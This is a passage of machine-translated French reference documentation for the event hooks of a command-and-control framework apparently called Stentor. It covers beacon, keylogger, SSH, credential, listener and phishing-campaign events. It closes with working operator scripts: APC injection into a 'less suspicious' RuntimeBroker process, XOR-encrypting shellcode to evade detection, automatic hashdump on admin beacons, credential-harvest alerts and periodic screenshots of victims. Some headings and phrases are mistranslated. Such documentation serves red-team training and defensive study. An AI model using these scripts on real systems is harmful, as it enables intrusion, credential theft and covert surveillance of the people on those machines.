Source : c2/encrypted_handler.go SubmitResult() [technique=ls]


beacon_output_ps

Se déclenche lorsque la sortie de la liste des processus arrive d'un beacon.

on beacon_output_ps {
    # $1 = beacon ID, $2 = process listing, $3 = timestamp
    # Parse and filter for interesting processes
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Sortie de la liste des processus
$3 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult() [technique=ps]


Événements d’indicateur de beacon

beacon_indicateur

Se déclenche lorsqu'un indicateur de compromission (IoC) est enregistré pour un beacon, telle qu'une injection de processus ou une écriture de fichier.

on beacon_indicator {
    # $1 = beacon ID, $2 = indicator type, $3 = indicator value
    elog("[IOC] $2 : $3 (beacon $1)");
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Type d'indicateur (par exemple, "process", "file")
$3 chaîne Valeur de l'indicateur (PID, chemin du fichier, etc.)

Source : c2/encrypted_handler.go DispatchBeaconIndicator()


Télécharger les événements

download_start

Se déclenche lorsqu'une tâche de téléchargement est distribuée à un beacon.

on download_start {
    # $1 = beacon ID, $2 = task ID
    elog("Download started: beacon $1 , task $2");
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne ID de tâche

Source : c2/encrypted_handler.go GetTask() [task.Type=download]


téléchargement_complet

Se déclenche lorsqu'une tâche de téléchargement se termine avec succès.

on download_complete {
    # $1 = beacon ID, $2 = output data, $3 = timestamp
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Télécharger la sortie/le statut
$3 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult() [technique=téléchargement]


Événements d'enregistreur de frappe et de capture d'écran

keylog_hit

Se déclenche lorsque les données du keylogger arrivent d'un beacon.

on keylog_hit {
    # $1 = beacon ID, $2 = keylog data, $3 = timestamp
    elog("[KEYS] Beacon $1 : $2");
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Données du keylogger (frappes capturées)
$3 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult() [technique=keylog]


capture d'écran

Se déclenche lorsqu'une capture d'écran est reçue d'un beacon.

on screenshot {
    # $1 = beacon ID, $2 = timestamp
    elog("[SCREENSHOT] Received from beacon $1");
}
Argumentation Type Description
$1 chaîne ID de beacon
$2 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult() [technique=screenshot]


Événements SSH

Ces événements reflètent les événements du cycle de vie des beacons, mais pour les sessions SSH initiées à partir des beacons.

ssh_initial

Se déclenche lorsqu'une session SSH est lancée à partir d'un beacon.

on ssh_initial {
    # $1 = session ID
    elog("[SSH] Session initiated: $1");
}
Argumentation Type Description
$1 chaîne ID de session SSH

Source : handler/cockpit_ssh.go Connect()


ssh_close

Se déclenche lorsqu'une session SSH est déconnectée.

on ssh_close {
    # $1 = session ID
}
Argumentation Type Description
$1 chaîne ID de session SSH

Source : handler/cockpit_ssh.go Déconnexion()


ssh_output

Se déclenche lorsque la sortie de tâche SSH arrive.

on ssh_output {
    # $1 = session ID, $2 = output, $3 = timestamp
}
Argumentation Type Description
$1 chaîne ID de session SSH
$2 chaîne Texte de sortie
$3 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult() [technique=ssh, succès]


ssh_erreur

Se déclenche lorsqu'une tâche SSH renvoie une erreur.

on ssh_error {
    # $1 = session ID, $2 = error message, $3 = timestamp
}
Argumentation Type Description
$1 chaîne ID de session SSH
$2 chaîne Message d'erreur
$3 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult() [technique=ssh, erreur]


ssh_tasked

Se déclenche lorsqu'une commande est mise en file d'attente pour une session SSH.

on ssh_tasked {
    # $1 = session ID, $2 = command, $3 = timestamp
}
Argumentation Type Description
$1 chaîne ID de session SSH
$2 chaîne Chaîne de commande
$3 chaîne Horodatage

Source : handler/cockpit_ssh.go Coquille()


ssh_entrée

Se déclenche lorsque l'entrée de l'opérateur est envoyée à une session SSH.

on ssh_input {
    # $1 = session ID, $2 = operator name, $3 = command, $4 = timestamp
}
Argumentation Type Description
$1 chaîne ID de session SSH
$2 chaîne Opérateur qui a envoyé la commande
$3 chaîne Chaîne de commande
$4 chaîne Horodatage

Source : handler/cockpit_ssh.go Coquille()


ssh_checkin

Se déclenche lors de l'activité de session SSH (après la connexion initiale).

on ssh_checkin {
    # $1 = session ID, $2 = timestamp
}
Argumentation Type Description
$1 chaîne ID de session SSH
$2 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult() [technique=ssh]


ssh_indicateur

Se déclenche lorsqu'un IoC est enregistré pour une session SSH.

on ssh_indicator {
    # $1 = session ID, $2 = indicator type, $3 = indicator value
}
Argumentation Type Description
$1 chaîne ID de session SSH
$2 chaîne Type d'indicateur
$3 chaîne Valeur de l'indicateur

Source : c2/encrypted_handler.go DispatchSSHIndicator()


ssh_output_alt

Se déclenche pour la sortie SSH structurée/alternative.

on ssh_output_alt {
    # $1 = session ID, $2 = structured output, $3 = timestamp
}
Argumentation Type Description
$1 chaîne ID de session SSH
$2 chaîne Sortie structurée
$3 chaîne Horodatage

Source : c2/encrypted_handler.go SubmitResult() [technique=ssh, OutputType=alt]


Événements d'listener

écouteur_start

Se déclenche lorsqu'un listener démarre avec succès sur le relais.

on listener_start {
    # $1 = listener name, $2 = status
    elog("[+] Listener started: $1 ($2)");
}
Argumentation Type Description
$1 chaîne Nom du listener
$2 chaîne Message d'état

Source : cmd/api/main.go gestionnaire de messages de relais [RelayEventListenerStarted]


auditeur_stop

Se déclenche lorsqu'un listener est arrêté sur le relais.

on listener_stop {
    # $1 = listener name, $2 = status
}
Argumentation Type Description
$1 chaîne Nom du listener
$2 chaîne Message d'état

Source : cmd/api/main.go gestionnaire de messages de relais [RelayEventListenerStopped]


erreur_auditeur

Se déclenche lorsqu'un listener rencontre une erreur.

on listener_error {
    # $1 = listener name, $2 = error message
    elog("[!] Listener error: $1 -- $2");
}
Argumentation Type Description
$1 chaîne Nom du listener
$2 chaîne Message d'erreur

Source : cmd/api/main.go gestionnaire de messages de relais [RelayEventListenerError]


auditeur_unresolved_host

Se déclenche lorsqu'un hôte d'écoute ne peut pas être résolu pendant la génération de le payload.

on listener_unresolved_host {
    # $1 = hostname
    elog("[!] Cannot resolve: $1");
}
Argumentation Type Description
$1 chaîne Nom d'hôte insoluble

Source : aggressor/payload_gen.go DispatchListenerUnresolvedHost()


Événements d'identification

informations d'identification_add

Se déclenche lorsqu'un identifiant est stocké dans le modèle d'identifiant (via la boutique automatique chromedump, CNA credential_add() ou hashdump).

on credential_add {
    # $1 = type, $2 = username, $3 = password/hash, $4 = source, $5 = host
    elog("[CRED] $1 : $2 from $4 on $5");
}
Argumentation Type Description
$1 chaîne Type d'identifiant (par exemple, "plaintext", "hash")
$2 chaîne Nom d'utilisateur
$3 chaîne Mot de passe ou valeur de hachage
$4 chaîne Source de l'identifiant (par exemple, "hashdump", "chromedump")
$5 chaîne Hôte sur lequel les informations d'identification ont été collectées

Source : Rappel cmd/api/main.go chromedumpAutoStore, aggressor/credential_mutation.go credentialAdd()


Événements pour les opérateurs

Ces événements se déclenchent lorsque les opérateurs interagissent avec le système de discussion et de présence du serveur d'équipe.

event_join

Se déclenche lorsqu'un opérateur se connecte au serveur d'équipe.

on event_join {
    # $1 = operator email, $2 = timestamp
    elog("[+] $1 joined");
}
Argumentation Type Description
$1 chaîne Adresse email de l'opérateur
$2 chaîne Horodatage

Source : hub/cockpit_hub.go (connexion WebSocket)


event_quit

Se déclenche lorsqu'un opérateur se déconnecte du serveur d'équipe.

on event_quit {
    # $1 = operator email, $2 = timestamp
}
Argumentation Type Description
$1 chaîne Adresse email de l'opérateur
$2 chaîne Horodatage

Source : hub/cockpit_hub.go (déconnexion WebSocket)


événement_public

Se déclenche lorsqu'un message de discussion public est envoyé.

on event_public {
    # $1 = sender, $2 = message
}
Argumentation Type Description
$1 chaîne Nom de l'expéditeur
$2 chaîne Message de discussion

Source : aggressor/output.go ChatPublic()


événement_action

Se déclenche lorsqu'un message de discussion d'action est envoyé (par exemple, /me does something).

on event_action {
    # $1 = sender, $2 = action message
}
Argumentation Type Description
$1 chaîne Nom de l'expéditeur
$2 chaîne Message d'action

Source : aggressor/output.go ChatAction()


événement_msg

Alias pour event_public. Se déclenche lorsqu'un message de discussion est envoyé via le canal de diffusion global.

on event_msg {
    # $1 = sender, $2 = message
}
Argumentation Type Description
$1 chaîne Nom de l'expéditeur
$2 chaîne Message

Source : aggressor/output.go globalSay()


événement_privé

Se déclenche lorsqu'un message privé est envoyé entre opérateurs.

on event_private {
    # $1 = sender, $2 = recipient, $3 = message
}
Argumentation Type Description
$1 chaîne Nom de l'expéditeur
$2 chaîne Nom du destinataire
$3 chaîne Message privé

Source : aggressor/output.go eventPrivate(), chatPrivate()


événement_notifier

Se déclenche lorsqu'une notification système est envoyée.

on event_notify {
    # $1 = notification message
}
Argumentation Type Description
$1 chaîne Message de notification

Source : aggressor/output.go eventNotify()


Événements de mise à jour du modèle de données

Ces événements se déclenchent lorsque le modèle de données sous-jacent change. Ils ne prennent aucun argument - interrogent le modèle de données pour obtenir l'état actuel.

beacons

Se déclenche lorsque le modèle de données du beacon change (nouvelle beacon ou mise à jour d'enregistrement).

on beacons {
    # No arguments -- query beacons() for current state
    foreach $beacon (beacons()) {
        # Process updated beacon list
    }
}

Source : c2/handler.go Checkin(), c2/encrypted_handler.go Checkin()


frappes

Se déclenche lorsque de nouvelles données de frappe sont reçues.

on keystrokes {
    # No arguments -- query keystrokes data model
}

Source : c2/handler.go SubmitResult(), c2/encrypted_handler.go SubmitResult()


captures d'écran

Se déclenche lorsque de nouvelles données de capture d'écran sont reçues.

on screenshots {
    # No arguments -- query screenshots data model
}

Source : c2/handler.go SubmitResult(), c2/encrypted_handler.go SubmitResult()


Événements système

prêt

Se déclenche une fois lorsque le serveur d'équipe termine l'initialisation. Utilisez-le pour l'automatisation du démarrage.

on ready {
    elog("Team server is ready. Scripts loaded.");
}

Source : cmd/api/main.go (après eventBus.Start)

Scripts de démarrage

L'événement ready est l'endroit idéal pour initialiser l'état du script, se connecter à des services externes ou enregistrer les messages de démarrage. Il se déclenche une fois que tous les scripts ont été chargés et que l'EventBus est actif.


déconnecter

Se déclenche lorsqu'une connexion client est perdue.

on disconnect {
    elog("Client disconnected");
}

Source : hub/cockpit_hub.go (déconnexion WebSocket)


Événements de battement de coeur

L'EventBus déclenche 12 événements de battement de cœur périodiques à intervalles fixes. Ceux-ci sont essentiels pour construire une automatisation basée sur le temps (captures d’écran périodiques, contrôles de santé, collecte de données).

Événement Intervalle Cas d'utilisation
heartbeat_1s 1 seconde Surveillance en temps réel, interrogation rapide
heartbeat_5s 5 secondes Réactivité à l’engagement actif
heartbeat_10s 10 secondes Tâches à fréquence modérée
heartbeat_15s 15 secondes Contrôles de santé des beacons
heartbeat_30s 30 secondes Mises à jour périodiques du statut
heartbeat_1m 1 minute Intervalle d'automatisation standard
heartbeat_5m 5 minutes Captures d'écran périodiques, collecte de données
heartbeat_10m 10 minutes Automatisation basse fréquence
heartbeat_15m 15 minutes Intervalles de rapport
heartbeat_20m 20 minutes Tâches planifiées
heartbeat_30m 30 minutes Points de contrôle d'engagement
heartbeat_60m 60 minutes Tâches de maintenance horaires

Les événements Heartbeat ne nécessitent aucun argument :

on heartbeat_5m {
    # Runs every 5 minutes
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            bscreenshot($bid);
        }
    }
}

Performances du gestionnaire

Les gestionnaires de battements de cœur se déclenchent fréquemment. Gardez-les légers : évitez de bloquer les opérations ou les calculs lourds. Utilisez des intervalles plus longs (5 mois et plus) pour les tâches gourmandes en ressources.


Profileur et événements Web

profileur_hit

Se déclenche lorsque le profileur système reçoit une visite. Le profileur recueille des informations sur les visiteurs de votre infrastructure Web.

on profiler_hit {
    # $1 = external IP, $2 = internal IP, $3 = user agent,
    # $4 = applications, $5 = profiler token
}
Argumentation Type Description
$1 chaîne Adresse IP externe
$2 chaîne Adresse IP interne (si disponible)
$3 chaîne En-tête de l'agent utilisateur
$4 chaîne Applications détectées
$5 chaîne Jeton de profileur

Source : Gestionnaire de messages de relais cmd/api/main.go [RelayEventProfilerHit]


web_hit

Se déclenche lorsque le serveur Web relais répond à une requête HTTP.

on web_hit {
    # $1 = method, $2 = URI, $3 = remote address, $4 = user agent,
    # $5 = response code, $6 = response size, $7 = handler, $8 = params, $9 = timestamp
}
Argumentation Type Description
$1 chaîne Méthode HTTP
$2 chaîne URI demandé
$3 chaîne Adresse distante
$4 chaîne En-tête de l'agent utilisateur
$5 chaîne Code de réponse HTTP
$6 chaîne Taille de la réponse en octets
$7 chaîne Gestionnaire qui a servi la demande
$8 chaîne Paramètres de la demande
$9 chaîne Horodatage

Source : Gestionnaire de messages de relais cmd/api/main.go [RelayEventWebHit]


Événements de phishing

Ces événements suivent le cycle de vie des campagnes de phishing envoyées via l'infrastructure de messagerie de Stentor.

sendmail_start

Se déclenche une fois lorsqu'une campagne de phishing commence à être envoyée.

on sendmail_start {
    # $1 = campaign ID, $2 = target count, $3 = attachment name,
    # $4 = bounce address, $5 = SMTP server, $6 = subject, $7 = template name
    elog("[PHISH] Campaign $1 started: $2 targets via $5");
}
Argumentation Type Description
$1 chaîne ID de campagne
$2 chaîne Nombre de cibles
$3 chaîne Nom du fichier de pièce jointe
$4 chaîne Adresse de rebond/retour
$5 chaîne Serveur SMTP
$6 chaîne Objet de l'e-mail
$7 chaîne Nom du modèle

Source : service/phishing.go sendEmails() [début de la méthode]


sendmail_pre

Se déclenche avant l'envoi de chaque e-mail.

on sendmail_pre {
    # $1 = campaign ID, $2 = recipient email
}
Argumentation Type Description
$1 chaîne ID de campagne
$2 chaîne Adresse e-mail du destinataire

Source : service/phishing.go sendEmails() [avant SendCommand]


envoyermail_post

Se déclenche après que chaque e-mail soit envoyé avec succès.

on sendmail_post {
    # $1 = campaign ID, $2 = recipient, $3 = status, $4 = message
}
Argumentation Type Description
$1 chaîne ID de campagne
$2 chaîne Adresse e-mail du destinataire
$3 chaîne Envoyer le statut
$4 chaîne Message d'état

Source : service/phishing.go sendEmails() [après l'envoi de UpdateTargetStatus]


sendmail_done

Se déclenche lorsqu'une campagne de phishing termine tous les envois.

on sendmail_done {
    # $1 = campaign ID
    elog("[PHISH] Campaign $1 complete");
}
Argumentation Type Description
$1 chaîne ID de campagne

Source : service/phishing.go sendEmails() [après la boucle cible]


sendmail_error

Se déclenche lorsqu'un envoi d'e-mail de phishing échoue.

on sendmail_error {
    # $1 = campaign ID, $2 = recipient, $3 = error message
    elog("[PHISH ERROR] Campaign $1 : $2 -- $3");
}
Argumentation Type Description
$1 chaîne ID de campagne
$2 chaîne Adresse e-mail du destinataire
$3 chaîne Message d'erreur

Source : service/phishing.go sendEmails() [en cas d'erreur SendCommand]


Événements personnalisés

événement_personnalisé

Événements définis par l'utilisateur distribués par les scripts CNA via fireEvent(). N'importe quel script peut déclencher des événements personnalisés et n'importe quel script peut enregistrer des gestionnaires.

# Fire a custom event
fireEvent("my_custom_event", "arg1", "arg2");

# Handle a custom event
on my_custom_event {
    println("Custom event fired: $1 $2");
}

Source : aggressor/output.go FireEvent()


personnalisé_événement_privé

Événements privés par script distribués via fireEventPrivate(). Seuls les gestionnaires du même script qui a déclenché l'événement le recevront.

# Fire a private event (only this script's handlers fire)
fireEventPrivate("my_private_event", "data");

# Handle the private event
on my_private_event {
    println("Private: $1");
}

Source : aggressor/output.go FireEventPrivate()


Tableau récapitulatif des événements

Référence rapide pour toutes les catégories d'événements :

Catégorie Événements Compter
Cycle de vie des beacons beacon_initial, beacon_initial_empty, beacon_checkin, beacon_exit, beacon_mode 5
Tâche/sortie de beacon beacon_tasked, beacon_input, beacon_output, beacon_output_alt, beacon_error 5
Sortie spécialisée de beacon beacon_output_jobs, beacon_output_ls, beacon_output_ps 3
Indicateurs de beacon beacon_indicator 1
Téléchargements download_start, download_complete 2
Enregistreur de frappe et captures d'écran keylog_hit, screenshot 2
SSH ssh_initial, ssh_close, ssh_output, ssh_error, ssh_tasked, ssh_input, ssh_checkin, ssh_indicator, ssh_output_alt 9
Listeners listener_start, listener_stop, listener_error, listener_unresolved_host 4
Informations d'identification credential_add 1
Opérateurs event_join, event_quit, event_public, event_action, event_msg, event_private, event_notify 7
Mises à jour du modèle de données beacons, keystrokes, screenshots 3
Système ready, disconnect 2
Battements de coeur heartbeat_1s à heartbeat_60m 12
Profileur et Web profiler_hit, web_hit 2
Phishing sendmail_start, sendmail_pre, sendmail_post, sendmail_done, sendmail_error 5
Personnalisé custom_event, custom_event_private 2
Total 65

Exemples de crochets pratiques

Technique d'injection personnalisée

Remplacez l'injection fork-and-run par défaut par une technique d'injection APC personnalisée qui utilise un processus sacrificiel moins suspect.

# custom-inject.cna -- Replace injection with QueueUserAPC + custom spawnto

set PROCESS_INJECT_SPAWN {
    local('$bid $dll $arch $token');
    $bid = $1;
    $dll = $2;
    $token = $3;
    $arch = $4;

    # Choose a legitimate-looking sacrificial process based on arch
    if ($arch eq "x64") {
        $target = "C:\\Windows\\System32\\RuntimeBroker.exe";
    } else {
        $target = "C:\\Windows\\SysWOW64\\RuntimeBroker.exe";
    }

    btask($bid, "Custom injection: APC into RuntimeBroker ($arch)");

    # Use the custom spawnto and let the default injection proceed
    # for the actual APC write
    bspawnto($bid, $arch, $target);
    return $null;  # Let default handle actual injection with new spawnto
}

Kit d’artefact personnalisé

Créez un générateur d'artefacts personnalisé qui crypte le shellcode avec une clé XOR par build.

# custom-artifact.cna -- XOR-encrypted artifact generator

set EXECUTABLE_ARTIFACT_GENERATOR {
    local('$artifact $shellcode $key $encrypted $template');
    $artifact = $1;
    $shellcode = $2;

    # Generate random XOR key
    $key = rand(0xFF);

    # XOR the shellcode
    $encrypted = "";
    for ($i = 0; $i < strlen($shellcode); $i++) {
        $encrypted .= chr(asc(charAt($shellcode, $i)) ^ $key);
    }

    # Log the build
    elog("Artifact Kit: built $artifact with XOR key $key");

    # Return encrypted shellcode (loader stub handles decryption)
    return build_artifact($artifact, $encrypted, $key);
}

Tâche automatique sur le beacon initiale

Configurez et assignez automatiquement à chaque nouvelle beacon des commandes de reconnaissance.

# auto-task.cna -- Automatic recon on new beacons

set BEACON_INITIAL_EMPTY {
    local('$bid');
    $bid = $1;

    # Set reasonable sleep for recon phase
    bsleep($bid, 15, 25);

    # Run initial reconnaissance
    bps($bid);
    bipconfig($bid);
    bwhoami($bid);
    bpwd($bid);

    # If admin, grab credentials immediately
    if (-isadmin $bid) {
        bhashdump($bid);
        blog($bid, "Admin beacon -- auto-hashdump queued");
    }

    blog($bid, "Auto-recon complete -- $+ " . binfo($bid, "user") . " on " . binfo($bid, "computer"));
    return "handled";
}

Exemples d'événements pratiques

Enregistrer toutes les sorties de beacons dans un fichier

Créez un journal d’audit complet de toutes les sorties des beacons pour les rapports d’engagement.

# audit-log.cna -- Log all beacon output to file

on beacon_output {
    local('$bid $output $when $user $computer');
    $bid = $1;
    $output = $2;
    $when = $3;

    $user = binfo($bid, "user");
    $computer = binfo($bid, "computer");

    elog("[$when] [$computer\\$user] Output: $output");
}

on beacon_error {
    local('$bid $msg $when');
    $bid = $1;
    $msg = $2;
    $when = $3;

    elog("[$when] [ERROR] Beacon $bid : $msg");
}

on beacon_input {
    local('$bid $who $cmd $when');
    $bid = $1;
    $who = $2;
    $cmd = $3;
    $when = $4;

    elog("[$when] [$who] Command: $cmd");
}

Capture d'écran automatique sur la nouvelle beacon

Capturez une capture d'écran dans les 30 secondes suivant chaque nouvel enregistrement de beacon.

# auto-screenshot.cna -- Screenshot on initial beacon

on beacon_initial {
    local('$bid');
    $bid = $1;

    # Wait for beacon to settle, then screenshot
    bsleep($bid, 5, 0);
    bscreenshot($bid);
    blog($bid, "Auto-screenshot queued on initial check-in");
}

Alerte sur la récolte des informations d'identification

Envoyez des notifications lorsque de nouvelles informations d'identification sont découvertes.

# cred-alert.cna -- Credential alerting pipeline

on credential_add {
    local('$type $user $pass $source $host');
    $type = $1;
    $user = $2;
    $pass = $3;
    $source = $4;
    $host = $5;

    # Log to event log
    elog("[CREDENTIAL] Type: $type | User: $user | Source: $source | Host: $host");

    # Fire custom event for other scripts to consume
    fireEvent("cred_alert", $type, $user, $host);
}

Tâche périodique basée sur le rythme cardiaque

Exécutez une collecte de données automatisée selon un planning à l'aide d'événements de battement de cœur.

# periodic-collect.cna -- Collect data every 10 minutes

on heartbeat_10m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            # Only task beacons that are actively checking in
            bps($bid);
            blog($bid, "[auto] Periodic process listing");
        }
    }
}

on heartbeat_60m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid && -isadmin $bid) {
            # Hourly screenshot from admin beacons
            bscreenshot($bid);
        }
    }
}

Voir aussi

  • Référence de fonction -- Référence complète pour les fonctions b* utilisées dans les gestionnaires de hook et d'événements
  • Mode sans tête -- Exécution de scripts de hook et d'événements sans l'interface graphique
  • Kits d'évasion -- Personnalisation de le payload au moment de la construction (Kit d'artefacts, Kit de masque de sommeil)